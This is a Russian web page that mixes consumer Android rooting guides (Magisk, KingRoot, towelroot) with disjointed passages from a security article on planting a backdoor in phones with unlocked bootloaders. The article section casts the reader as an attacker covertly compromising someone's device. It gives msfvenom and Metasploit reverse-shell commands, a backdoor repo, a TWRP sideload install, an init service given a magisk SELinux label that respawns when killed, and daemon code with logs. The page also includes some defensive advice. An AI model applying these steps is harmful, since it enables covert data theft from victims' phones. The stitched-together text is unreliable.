Полного root доступ

Подготовка к включению Root

Чтобы расшарить полный доступ к системе Android через программу на ПК, требуется произвести ряд предварительных действий на смартфоне или планшете:

  • подключить устройство к ПК, ноутбуку в режиме отладки по USB;
  • разрешить установку приложений из неизвестных источников.
  1. В «Настройках» откройте раздел «Система», затем вкладку «О телефоне». Несколько раз тапните по надписи «Номер сборки» пока на экране не появится сообщение «Теперь вы разработчик».В «Настройках» откройте раздел «Система», затем вкладку «О телефоне»
  2. Вернитесь в меню «Система», откройте раздел «Для разработчиков». Перейдите в специальное меню управления расширенным функционалом ОС Андроид.Вернитесь в меню «Система», откройте раздел «Для разработчиков»
  3. Найдите соответствующий пункт «Отладка по USB» и передвиньте ползунок для активации режима.Найдите соответствующий пункт «Отладка по USB» и передвиньте ползунок для активации режима
  4. Войдите в «Настройки», далее откройте пункт «Безопасность и конфиденциальность», затем «Дополнительные настройки».Войдите в «Настройки», далее откройте пункт «Безопасность и конфиденциальность», затем «Дополнительные настройки».
  5. Разрешите установку приложений из внешних источников, передвинув ползунок в режим включено. В разных моделях смартфонов и версиях Андроид настройка отличается. Например, на Huawei и Honor под управлением EMUI потребуется включение доступа к установке приложений отдельно для каждого сервиса.

Разрешите установку приложений из внешних источников, передвинув ползунок в режим включено

Теперь вы можете инсталлировать и устанавливать .apk-файлы, программы из любых источников с компьютера или непосредственно на андроид-устройстве.

Способы получения root

Раньше, когда деревья были высокими а слоны мохнатыми, во времена Android ~4, существовали специальные утилиты как на само устройство так и на ПК, с помощью которых можно было получить root.

Если выражаться точнее, эти утилиты взламывали систему одним из множества способов и снисходительно делились с вами кусочком этого доступа.

Большая часть таких утилит была на китайском языке и тыкаться приходилось буквально вслепую. Вот самые яркие представители этого класса:

  • King Root (не путать с Kingo Root)

Преимущества такого способа получения очевидны — простота получения и относительно высокий шанс успеха. Однако такие недостатки как шпионаж, фоновая установка ПО и в целом непрозрачность схемы, как по мне, перекрывают это преимущество с лихвой. Тем более, что на последних версиях Android вероятность успеха получения прав с помощью этих утилит всё ниже. Не рекомендую данный способ к применению.

В определенный момент, как альтернатива этим утилитам, на арену рутирования выходит OpenSource-проект Magisk разработанный, несомненно, талантливым, программистом, под ником topjohnwu.

Главная особенность данного метода — возможность «внесистемного» внесения изменений с помощью подключаемых модулей. Это означает, что с выключением Magisk-модуля, отменялись изменения в системе, которые вносил этот модуль.

Работает это, на самом деле, проще чем можно подумать. В корне файловой системы создается «зеркало» раздела data (так и называется — data_mirror) и необходимые изменения вносятся в систему посредством создания символических ссылок на этот раздел.

Также, старые версии Magisk «из коробки» способны скрыть факт наличия root-прав от программ, которые не любят их (банковские приложения, например). Новые версии требуют установки дополнительных модулей.

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE. Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована. На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей. Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход «least privilege» – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно. Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP — full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Разблокированный загрузчик роняет уровень сложности этой задачи от невозможного до тривиального. Почему-то тема опасности открытых загрузчиков поднимается довольно редко, и, мне кажется, её значимость здорово недооценена, поэтому давайте разбираться. 

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает. 

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.

Я буду часто ссылаться на ресурс source.android.com. Это примерно тоже самое что и developer.android.com но не для разработчиков приложений, а для разработчиков устройств. Там хорошо описана работа ОС, системных компонентов, и т.д. Очень рекомендую, вряд ли где-то можно найти более структурированную информацию по устройству системы.

Как получить root-права

Итак, с чего нам нужно начать. Обычно, для получения прав суперпользователя необходимо устанавливать TWRP. Это программа позволяет устанавливать различные прошивки, производить резервное копирование текущей операционной системы и так далее. Но мы сегодня расскажем о том, как получить root-права, без использования данной программы.

Вначале, необходимо обязательно разблокировать загрузчик на телефоне. Об этом у нас будет отдельный материал.

Для получения root-прав нам понадобится компьютер. Вначале переходим в «Настройки» — «О телефоне» — «Версия MIUI».

Полного root доступ

Полного root доступ

Теперь начинается загрузка. Затем эту прошивку нам нужно будет загрузить на наш компьютер.

Итак, прошивку мы скачали. Теперь подключаем смартфон к компьютеру и находим в папке Download папку с названием downloaded_rom в ней будет архив с нашей прошивкой.

Теперь нам необходимо установить утилиту Magisk на наш смартфон. Найти ее можно на сайте 4PDA, забив в поиске название, прямо с телефона. Главное найти последнюю стабильную версию. Скачиваем файл в формате apk и устанавливаем его.

Параллельно на компьютер нам нужно установить Universal ADB Driver. Это универсальная утилита, совместимая с большим спектром смартфонов и позволяющая устанавливать драйверы устройств на Андроид на Windows.

Если по какой-то причине компьютер не будет определять ваш телефон, то нужно будет докачать еще некоторое количество драйверов под ваше устройство. Найти их также можно на сайте 4PDA в ветке форума по теме вашей модели телефона.

Ищем спойлер «Драйверы и утилиты» и устанавливаем все, что там есть. После этого смартфон скорее всего будет нормально определяться вашим компьютером.

Теперь заходим в архив с прошивкой, который вы загрузили на компьютер и открываем папку с прошивкой. Идем в папку Images и ищем файл boot.img

Полного root доступ

Копируем оттуда файл в любую другую папку. Все больше нам от этой прошивки ничего нужно не будет. Затем этот файл нам нужно скопировать на наш смартфон в любое удобное для вас место.

Теперь возвращаемся к смартфону и открываем программу Magisk, которую мы недавно установили. И нажимаем кнопку «Установка»:

Полного root доступ

Если данной кнопки нет, то перезагрузите смартфон. Если данная кнопка не появится после перезагрузки, то попробуйте установить другие версии данной утилиты.

Теперь жмем на кнопку «Пропатчить boot образ»:

Полного root доступ

И теперь нам нужно найти файл boot.img, который мы предварительно скинули на наш смартфон.

Полного root доступ

Выбираем наш файл и жмем на кнопку «Установить»:

Теперь ожидаем некоторое время, пока наш файл пропатчится.

Полного root доступ

Когда установка будет завершена, вы увидите путь, по которому можно найти наш пропатченный файл:

Полного root доступ

Этот файл нам нужно закинуть обратно на наш компьютер.

Подключаем смартфон к компьютеру (если он уже был подключен, то его следует отключить и подключить заново, чтобы файл появился) и находим нужный нам файл, по пути, указанному программой:

Полного root доступ

Обязательно переименовываем скачанный файл в boot.img!

Теперь идем на диск C и ищем папку ADB, она появится у вас после установки ADB-драйвера. И копируем в эту папку наш файл:

Полного root доступ

Далее запускаем командную строку на нашем компьютере. Для этого в поиске рядом с пуском вводим cmd, находим командную строку, жмем по ярлыку правой кнопкой мыши и выбираем «Запуск от имени администратора»:

Полного root доступ

В это время отключаем телефон от ПК, полностью его отключаем и переводим в режим fastboot. И после того, как телефон выключился зажимаем громкость вниз + кнопка включения и удерживаем его пока не увидим, что вошли в режим fastboot. На разных моделях это может быть по-разному, поэтому узнайте у гугла, как запустить в этом режиме непосредственно ваш смартфон.

Полного root доступ

Теперь подключаем наш телефон к компьютеру. На компьютере заходим в «Диспетчер устройств» и смотрим, чтобы все было вот так:

Полного root доступ

Если телефон не определился, то это означает, что у вас не хватает какого-то драйвера. Выше я уже писал, где можно найти все необходимые драйверы для вашей модели смартфона.

Теперь в командной строке пишем: cd c:\ADB

Полного root доступ

Таким образом мы передали управление телефоном папке ADB.

Далее вводим команду: fastboot devices

Это поможет проверить видит ли наш компьютер смартфон. Если после ввода данной команды в командной строке отобразится серийный номер телефона и надпись fastboot — то все хорошо.

Теперь пишем: fastboot flash boot boot.img

Эта команда прошьет наш пропатченный boot-файл в смартфон.

И если все прошло успешно, то вводим последнюю команду: fastboot reboot

Полного root доступ

Собственно эта команда перезагружает наш смартфон в нормальный режим работы.

Теперь ждем, когда наш телефон загрузится и после этого отключаем его от компьютера.

После перезагрузки у нас будут root-права.

Полного root доступ

Надпись Rooted показывает нам, что root-права у нас получены. Поздравляем!

Вот таким довольно простым способом мы смогли получить root-права на наш смартфон без необходимости устанавливать TWRP. Помните, что с рутированным телефоном нужно быть внимательным, чтобы случайно не вывести его из строя. Поэтому знайте, что и для чего вы делаете.

Легальные root-права и LineageOS

  • eng – это полностью отладочный вариант сборки, помимо легального root-доступа и отладочной информации в такой сборке присутствуют дополнительные инструменты для диагностики, поиска проблем, профилирования и отладки прямо на устройстве.

На отладочных типах сборок отсутствует исполняемый файл su, а получение легального root-доступа на них осуществляется с помощью перезапуска демона adbd с помощью команды adb root. Технически это реализовано в виде простого условия в коде adb. При запуске демон adb всегда стартует от root, но в определённый момент дропает свои привилегии до shell. На нерелизных сборках получив команду adb root он не понижает свои привилегии до shell, а пользователь получает возможность полноценно работать от пользователя root. Специально для того, чтобы adb мог таким образом предоставить полноценный доступ к системе существует специальный контекст u:r:su:s0, который собирается и включается в политики если сборка не является релизной. Он до конца разрешает процессу adb всё что в обычном случае было бы запрещено SELinux.

$ adb shell
$ id
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
$ ^D
$ adb root
restarting adbd as root
$ adb shell
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:su:s0

Похожим образом «легально» root-права получает addonsu, который поставлялся вместе с LineageOS до версии 16 включительно (сейчас он deprecated). Он использует подход с записью исполняемого файла su в директорию /system/bin в разделе system, а также с демоном, который обладает заготовленным контекстом SELinux и может запускаться и останавливаться в зависимости от настроек системы и предоставлять доступ к оболочке с правами root если это разрешит делать пользователь. Тем не менее, с технической точки зрения, подход используется тот же самый. Разработчики LineageOS специально закладывают в исходный код правила для addonsu, они не знают, будет ли владелец пользоваться им или нет, но если всё-таки будет, то файлу su будут нужны эти политики, поэтому их вносят в *.te файлы в исходный код.

$ adb shell
$ su
# id
uid=0(root) gid=0(root) groups=0(root) context=u:r:sudaemon:s0
$ adb root
adbd cannot run as root in production builds

Мы не можем полагаться на то, что телефон с разблокированным загрузчиком будет и содержать LineageOS, и иметь включённый режим adb, к тому же контексту u:r:init:s0 запрещён transition в контекст u:r:su:s0, поэтому закрепиться в качестве системного демона подобным образом всё равно не получится, а значит для извлечения данных нам необходимо воспользоваться другим подходом.

Дополнительно:  5 способов достать окно Windows, которое скрылось за пределами экрана - Лайфхакер

Другие способы рутирования

Хотите взломать Андроид «по-настоящему»? Воспользуйтесь одним из лучших приложений для получения рута, разработанным известным хакером Geohot. После установки и запуска программы достаточно нажать кнопку «Make it ra1n» и перезагрузить устройство. Ваш антивирус начнет предупреждать об опасности. Как утверждают разработчики, на это не стоит обращать внимание: программа содержит скрипты на обход защиты системы, а так же на патч ядра и прошивки.

приложение towelroot для взлома андроида

Приложение Framaroot в один клик предоставит права суперпользователя и двоичного файла su на телефон

Альтернативу полному рутированию через взлом системы предоставляет программа Root ToolCase, которую можно скачать из интернет-магазина Гугл Плей Маркет

Установка рут-прав полного доступа к системе Андроид зависит от многих факторов. Некоторые программы взлома достаточно универсальны. Другие поддерживают только определенные прошивки и модели смартфонов. Root-доступ предоставляет большие возможности по настройке ОС Android. Например, можно попробовать сменить старую версию ОС на последний релиз Андроид. Но и сопряжен с определенными рисками. Поэтому включать режим Root рекомендуется только тщательно взвесив свои способности «Суперпользователя».

Как работают root-права?

Когда то, для установки root-прав достаточно было перемонтировать раздел system в режим чтения-записи и скопировать туда исполняемый файл su. Затем появилась необходимость думать также и о политиках SELinux, и об AVB. Сегодня для получения root-прав можно выделить два основных подхода, которые можно условно назвать «легальным» и «нелегальным».

Для чего используются root-права

Перечислим основные причины, для чего пользователю могут понадобиться root-права.

  1. Удаление предустановленных приложений.
  2. Взлом приложений.
  3. Изменения интерфейса Андроид.
  4. Разгон центрального процессора или графического, путем увеличения частоты.
  5. Блокировка рекламы в браузерах или приложениях.
  6. Более глубокая настройка и управление приложениями.

Стоит также учитывать ряд проблем, которые может вызвать получение данных прав. Во-первых, вы можете потерять гарантию на ваш смартфон. Во-вторых, устройство может выйти из строя, если вы что-то сделали не правильно. Также увеличивается шанс словить вирус на ваш смартфон. Поэтому вам следует очень внимательно проверять все скачиваемые файлы. Также имеется ряд программ, которые не будут работать на устройстве, на котором получен root-доступ. Например, приложения банков (хотя имеются специальные программы для маскировки рут, но они не всегда работают успешно). И наконец, последняя сложность: у вас возникнет проблема с обновлением операционной системы — вы не сможете обновлять ее через настройки телефона и вам придется устанавливать для этой цели дополнительные утилиты.

Таким образом, перед тем, как обеспечить себе root-права, позаботьтесь о том, что вы знаете и понимаете что и для чего делаете.

Вообще лучше всего такую работу передать специалисту. Найти хороших мастеров по ремонту и перепрошивке смартфонов в Санкт-Петербурге и других городах вы можете здесь: https://sankt-peterburg.servicerating.ru/mobilnye-telefonyhttps://sankt-peterburg.servicerating.ru/

Но, если вы уверены в своих знаниях — читайте дальше!

Зачем нужны root-права?

Честно говоря, когда мне задают вопрос, зачем я получал root-права на своем девайсе, я иногда впадаю в ступор, поскольку использую какое-то специфичное ПО, требующее таких разрешений достаточно редко и точечно.

Как хорошие примеры могу привести эффективное использование программ-firewalls, которые с помощью расширенных прав могут более гибко и эффективно контролировать траффик. Также, программы предназначенные для очистки «мусорных» файлов работают гораздо эффективнее, как и разнообразные файловые менеджеры, которые могут позволить вам редактировать системные файлы. Программы для резервного копирования приложений могут сохранять все данные приложения.

Отдельно хотелось бы упомянуть Xposed Framework — специализированное ПО в виде фреймворка, позволяющее одним приложениям изменять поведение системных функций Android в других приложениях и получать более полный доступ к их ресурсам. Например, именно на этом принципе основан Xposed-модуль для перевода текста на любой язык прямо в целевом приложении.

Как защититься?

Самый простой подход, для которого даже не нужно ничего предпринимать – отказаться от использования root-прав и альтернативных прошивок. Это спорный совет для тех кто пользуется альтернативными сборками для прокачки приватности своего устройства. Это моё личное мнение, но я считаю, что нынешний стоковый android очень даже неплох. Я долгое время интересуюсь модификациями системы, направленными на усиление приватности и безопасности, и должен отметить, что в последних трёх версиях ОС была проделана впечатляющая работа по сокращению возможностей для сбора информации с устройства. Если раньше разница между стоковой сборкой ОС и альтернативной, усиленным всякими специализированными инструментами вроде XPrivacyLua с кастомными хуками была огромной, то теперь она очень сократилась.

Разумеется, от некоторых вещей в android Google ни за что не откажется, и на стоковой прошивке никогда не отделаться от рекламного идентификатора, но тем не менее большую часть bloatware можно безболезненно отключить. Плюс, у пользователя android всё ещё есть свобода самостоятельно решать какими именно приложениями он будет пользоваться и откуда их устанавливать. Не обязательно полагаться на google play, можно использовать альтернативные репозитории, например F-Droid. Не обязательно завязываться на экосистему Google. Можно в качестве альтернативы использовать NextCloud на собственном сервере. В общем, при правильном подходе можно заменить в стоковой системе практически всё и получить устройство, которое будет практически так же хорошо как и на альтернативной прошивке, при этом иметь заблокированный загрузчик и все плюсы использования немодифицированного устройства, такие как работающий Google Pay и платежи касанием по NFC, беспроблемно работающие приложения банков и иные полагающиеся на проверки SafetyNet, нормально работающая камера и т.д.

Другой очевидный подход заключается в том, чтобы не допускать попадания устройства физически в чужие руки. По сути, всё что обсуждалось выше касается в основном только физического доступа. Если не держать постоянно включённым режим разработчика, не давать приложениям права администратора, следить за тем, что именно устанавливается на устройство и соблюдать базовые «правила гигиены», то всё будет хорошо.

Для тех случаев, когда устройство изымается пограничниками или полицией, либо попадает на время в руки злоумышленников возможно организовать противодействие. Разумеется, это имеет смысл только если смартфон в их руки попал не разблокированным. Это несложно, но требует некоторых регулярных усилий. Для этого нужно взять за привычку считать хэши основных разделов, в которые может быть подкинут бэкдор при физическом доступе, сразу после установки системных обновлений. Обновили систему – пересчитайте хэши и сохраните в надёжном месте. Если пользуетесь root-правами, то можно сделать нехитрое приложение для этого, если не пользуетесь – придётся загружаться после установки в TWRP и снимать там.

В общем-то логика получается следующей: после получения устройства на руки, не загружаясь в систему и не вводя код разблокировки, загружаемся в TWRP, пересчитываем хэши. Если на разделах boot, system или vendor они поменялись, то в систему было что-то добавлено, или по крайней мере была предпринята попытка этого.

Наибольшее ограничение в том, как мало существует устройств, на которых можно провернуть подобное. Несмотря на то, что в Google предоставил все необходимые возможности для этого, а в документации есть общее и подробное описание того как это работает, очень немногие производители поддерживают эту фичу. Честно говоря, я знаю только о двух – это Google (линейка смартфонов Pixel) и OnePlus. Поддержка проверки подписи операционной системы ключами пользователя не является обязательной для сертификации устройства и реализуется производителем устройства строго по его желанию. Полагаю, что большинство производителей просто не желает делать дополнительную работу, либо не желает чтобы у покупателей появился дополнительный повод использовать неродную ОС на их устройствах. 

Использование такого подхода будет требовать сборки и подписи каждого нового обновления, что может быть утомительно, т.к. это требует времени, некоторых технических знаний, мощной производительной машины для проведения сборки, с большим и быстрым хранилищем на несколько сотен гигабайт, а также поддержки сервера на котором будут публиковаться обновления. Я уверен, что далеко не каждый захочет заниматься этим.

Что ещё можно сделать?

Данный вариант установки бэкдора довольно грубый. Внедрение происходит напрямую в системный раздел, что неплохо, но можно сделать лучше. Например, несмотря на то что простенькие root-детекторы его не обнаружат, изменённое состояние system раздела точно не позволит пройти проверку SafetyNet, хотя можно попробовать поиграть с исходниками MagiskHide и заточить их под свои нужды. Логичным продолжением будет хранение нужных файлов отдельно и монтирование их поверх системного раздела таким же образом каким magisk доставляет в файловую систему свои файлы. Продолжая мысль ещё дальше можно попробовать внедриться напрямую в ramdisk и прямо оттуда прокинуть его в файловую систему и смонтировать поверх system.

Проверяем на реальном устройстве

Ловить удалённое подключение от устройства будем на Kali в виртуалке. Для этого на ней сгенерируем пейлоад:

$ msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=<LISTENER_IP> LPORT=<LISTENER_PORT> -f elf > revshell

И настроим слушатель:

$ msfconsole -q
> use exploit/multi/handler
> set PAYLOAD payload/linux/aarch64/meterpreter/reverse_tcp
> set LHOST <LISTENER_IP>
> set LPORT <LISTENER_PORT>
> run -j

После этого возвращаемся на хост машину.

$ git clone https://github.com/LuigiVampa92/unlocked-bootloader-backdoor-demo.git
$ cd unlocked-bootloader-backdoor-demo

Исполняемый файл по пути revshell/revshell заменим на нагрузку сгенерированную в Kali. После этого приступим к сборке.

Создадим для скрипта сборки переменную окружения, указывающую на абсолютный путь к android-sdk (зависит от вашей операционной системы):

$ ANDROID_SDK_ROOT=/usr/lib/android-sdk
$ export ANDROID_SDK_ROOT

Подготавливаем NDK для сборки. Это нужно сделать именно через установочный скрипт, т.к. скрипту будет нужен отдельный изолированный инстанс NDK для сборки и рассчитывать он будет именно на него:

$ ./buildrevshell.py ndk
$ ./buildrevshell.py

Собранные пакеты будут лежать в директории out. 

Переходим к установке.

Сперва перезагружаем устройство в режим fastboot. На разных устройствах это делается по-разному. В большинстве случаев необходимо выключить устройство, зажать одну из физических кнопок регулирования громкости (например кнопку прибавления громкости) и не отпуская её нажать на несколько секунд кнопку питания. 

$ fastboot boot twrp.img

Небольшое важное отступление. Я смог проверить работу только на устройствах которыми располагаю сам. Среди них были устройства на android 9 и 10, LineageOS 16 и 17, с классическим init как в старых системах и two-stage-init + system-as-root. Среди них не было устройств с system-as-root на android 9 и устройств с A/B партициями. Поэтому если конфигурация вашего устройства отличается, то на нём могут возникнуть непредвиденные проблемы. Я рекомендую сделать бэкапы важных разделов и сохранить их для того, чтобы иметь возможность восстановить их руками, в случае если что-то пойдёт не по плану.

Дополнительно:  Как надо установить root

Обычно это будет раздел boot, сделать его бэкап после загрузки TWRP можно так:

$ adb shell
# ls -la /dev/block/by-name | grep boot                                                                                                                                                                         
lrwxrwxrwx 1 root root   16 1973-02-14 07:56 boot -> /dev/block/sde19
# dd if=/dev/block/sde19 of=/tmp/boot.img
131072+0 records in
131072+0 records out
67108864 bytes transferred in 0.429 secs (156430918 bytes/sec)
# ^D
$ adb pull /tmp/boot.img
/tmp/boot.img: 1 file pulled, 0 skipped. 35.8 MB/s (67108864 bytes in 1.785s)

Проверьте есть ли у вас отдельные разделы для DTB, для этого зайдите в adb shell и выполните:

$ ls -la /dev/block/by-name | grep dtb

Если увидите в списке dtb, dtbo и dtbs, то сделайте и их бэкапы тоже.

Ещё пара дежурных предупреждений: 

  • Пожалуйста производите все действия только на своём устройстве

  • Убедитесь что на устройстве нет важных данных которые страшно потерять

  • Все действия выполняются на ваш страх и риск

Поехали. Запускаем sideload через GUI (Меню/Advanced/Sideload) или из терминала:

$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_install.zip

Важно! Здесь в зависимости от того был ли на устройстве предварительно установлен magisk или нет будет пропатчен или не пропатчен boot раздел. Если на устройстве magisk ранее установлен не был, то необходимо будет сохранить бэкапы оригинальных разделов. Сделать это нужно обязательно, даже если предварительно сделали бэкапы руками, иначе удалять наш инструмент также придётся руками, потому что деинсталлятор будет полагаться на наличие именно этих бэкапов, именно в этом формате. В логе TWRP тоже вылезет большое предупреждение об этом.

Вытаскиваем бэкапы с устройства:

$ adb pull /tmp/backup_original_partitions .

Теперь можно выключить или перезагрузить устройство. 

Удаление с устройства производится в обратном порядке:

Перезагружаемся в fastboot

$ fastboot boot twrp.img

Если сохраняли бэкапы во время установки, то вызываем:

$ adb push backuporignialpartitions /tmp/backuporignialpartitions
$ adb shell 'twrp sideload'
$ adb sideload zip_reverse_shell_uninstall.zip

Получение рут-доступа непосредственно на андроид-устройстве

KingRoot для получения рут доступа

  1. Скачайте дистрибутив на смартфон или планшет с официального сайта разработчика. Желательно производить загрузки через интернет-соединение по Wi-Fi.
  2. В телефоне должна быть включена опция «Загрузка приложений из неизвестных источников». А вот режим отладки по USB не требуется. Найдите загрузочный файл в памяти и запустите установку.
  3. После инсталляции на рабочем столе появится ярлык KingRoot. Кликните по нему, чтобы запустить программу. Приложение начнет определять модель вашего устройства, а также, не имеет ли оно уже root-прав.Приложение начнет определять модель вашего устройства, а также, не имеет ли оно уже root-прав
  4. Нажмите на кнопку «TRY TO ROOT». Приложение перезагрузит смартфон в принудительном порядке. После этого на вашем устройстве будет рут-доступ.

Внедряемся в систему с установленными root-правами

Внесём небольшое изменение, добавим в описание нашего демона seclabel который определяет какой SELinux контекст должен назначить init для запущенного системного сервиса:

service revshell /system/bin/revshell
    disabled
    seclabel u:r:magisk:s0
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Подготовим исполняемый файл для демона и соберём его под arm64.

#pragma once

#include <cerrno>
#include <cstdarg>
#include <cstring>
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <dirent.h>
#include <pthread.h>
#include <signal.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <android/log.h>

#define LOG_TAG "revshell"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,    LOG_TAG, __VA_ARGS__)
#define LOGW(...) __android_log_print(ANDROID_LOG_WARN,     LOG_TAG, __VA_ARGS__)
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO,     LOG_TAG, __VA_ARGS__)
#define LOGD(...) __android_log_print(ANDROID_LOG_DEBUG,    LOG_TAG, __VA_ARGS__)

#define ENCRYPTED_FS_CHECK_DIR "/data/data"
#define ENCRYPTED_FS_CHECK_PROOF "android"
#include "revshell.hpp"

bool check_fs_decrypted() {
    bool result = false;
    struct dirent *entry;
    DIR *dir = opendir(ENCRYPTED_FS_CHECK_DIR);
    if (dir == NULL) {
        return result;
    }
    while ((entry = readdir(dir)) != NULL) {
        if (strstr(entry->d_name, ENCRYPTED_FS_CHECK_PROOF)) {
            result = true;
        }
    }
    closedir(dir);
    return result;
}

int run_in_main_proc() {
    LOGD("Start successfull!\n");

    signal(SIGINT, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    signal(SIGQUIT, SIG_IGN);
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTERM, SIG_IGN);
    signal(SIGKILL, SIG_IGN);

    LOGD("Signals are set to ignore\n");

    int timer_counter = 0;
    int timer_step = 5;

    LOGD("Hey I'm a revshell process!\n");
    LOGD("My PID -- %d\n", getpid());
    LOGD("My parent PID -- %d\n", getppid());
    LOGD("My UID -- %d\n", getuid());
    LOGD("Awaiting encrypted FS decryption now...");

    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        if (check_fs_decrypted()) {
            LOGD("FS has been decrypted!");
            break;
        }
    }

    LOGD("Starting reverse shell now");
    while (true) {
        sleep(timer_step);
        timer_counter = (timer_counter + timer_step) % INT_MAX;
        LOGD("tick ! %d seconds since process started", timer_counter);
    }

    LOGD("Exit!\n");

    return 0;
}

int main(int argc, char *argv[]) {
    return run_in_main_proc();
}

Я использую именно такой подход для демонстрации работы, потому что так легко понять что сервис работает просто подключившись к logcat и почитав логи. Наш исполняемый файл работает следующим образом: запускается, скидывает в логи приветственное сообщение, далее он ожидает расшифровки хранилища, для этого он полагается на то что внутри директории с приватными хранилищами приложений появится запись содержащая строку «android», которая присутствует в имени пакета многих системных приложений, после этого он сбрасывает в логи запись о том что хранилище расшифровано и запускается reverse-shell, а дальше просто раз в пять секунд сбрасывает в логи сообщение о том что он запущен и работает.

Перезагрузимся в TWRP, смонтируем system и скопируем получившийся исполняемый файл в /system/bin/revshell, а скрипт демона в /system/etc/init/revshell.rc

Перезагружаем устройство и начинаем слушать логи:

$ adb logcat | grep revshell

Когда система загрузилась, и показался экран ввода кода разблокировки видим в логах следующее:

01-31 23:42:07.587  3589  3589 D revshell: Start successfull!
01-31 23:42:07.588  3589  3589 D revshell: Signals are set to ignore
01-31 23:42:07.588  3589  3589 D revshell: Hey I'm a revshell process!
01-31 23:42:07.588  3589  3589 D revshell: My PID -- 3589
01-31 23:42:07.588  3589  3589 D revshell: My parent PID -- 1
01-31 23:42:07.588  3589  3589 D revshell: My UID -- 0
01-31 23:42:07.588  3589  3589 D revshell: Awaiting encrypted FS decryption now...

Отлично, хранилище ещё не расшифровано, но демон успешно запустился и работает, трюк с seclabel u:r:magisk:s0 сработал!

Вводим код разблокировки и видим в логах:

01-31 23:42:27.597  3589  3589 D revshell: FS has been decrypted!
01-31 23:42:27.597  3589  3589 D revshell: Starting reverse shell now
01-31 23:42:32.597  3589  3589 D revshell: tick ! 25 seconds since process started
01-31 23:42:37.598  3589  3589 D revshell: tick ! 30 seconds since process started
01-31 23:42:42.599  3589  3589 D revshell: tick ! 35 seconds since process started
01-31 23:42:47.600  3589  3589 D revshell: tick ! 40 seconds since process started

Посмотрим, через adb запущенные процессы и увидим там наш демон:

$ adb shell
$ ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          3589     1 0 23:42:06 ?     00:00:00 revshell
u:r:shell:s0                   shell         5546  5495 1 23:48:21 pts/0 00:00:00 grep revshell

Он запущен процессом init, как системный сервис, убить его без root-прав мы не можем:

$ kill -9 3589
/system/bin/sh: kill: 3589: Operation not permitted

А убив его c root-правами, увидим что он тут же был перезапущен системой, потому что именно так система поступает с критическими системными сервисами:

$ su
# kill -9 3589
# ps -Zef | grep revshell                                                                                                    
u:r:magisk:s0                  root          5592     1 0 23:51:34 ?     00:00:00 revshell
u:r:magisk:s0                  root          5601  5573 5 23:52:08 pts/1 00:00:00 grep revshell

Отлично. Это уже похоже на успех. У нас получилось внедрить исполняемый файл, который может открыть нам удалённый доступ к устройству прямо в смартфон с зашифрованным хранилищем. Мы смогли его запустить и нам не пришлось разблокировать смартфон, не пришлось ничего расшифровывать. Достаточно было знать об особенностях шифрования хранилища в смартфонах и о возможностях которые дал нам разблокированный загрузчик.

Однако пока что мы полагаемся на права, которые нам предоставил SELinux контекст маджиска, а для извлечения данных нам необходимо уметь запустить такой же демон, но на любом устройстве, в том числе на устройстве без root-прав.

Стоит ли устанавливать root-права

В рутировании телефона есть плюсы и минусы. Обычному пользователю вполне хватает основных функций смартфона. Если же вас не испугали возможные последствия установки рут на свой девайс, а желание стать супеюзером велико – рассмотрим несколько способов, как можно это сделать.

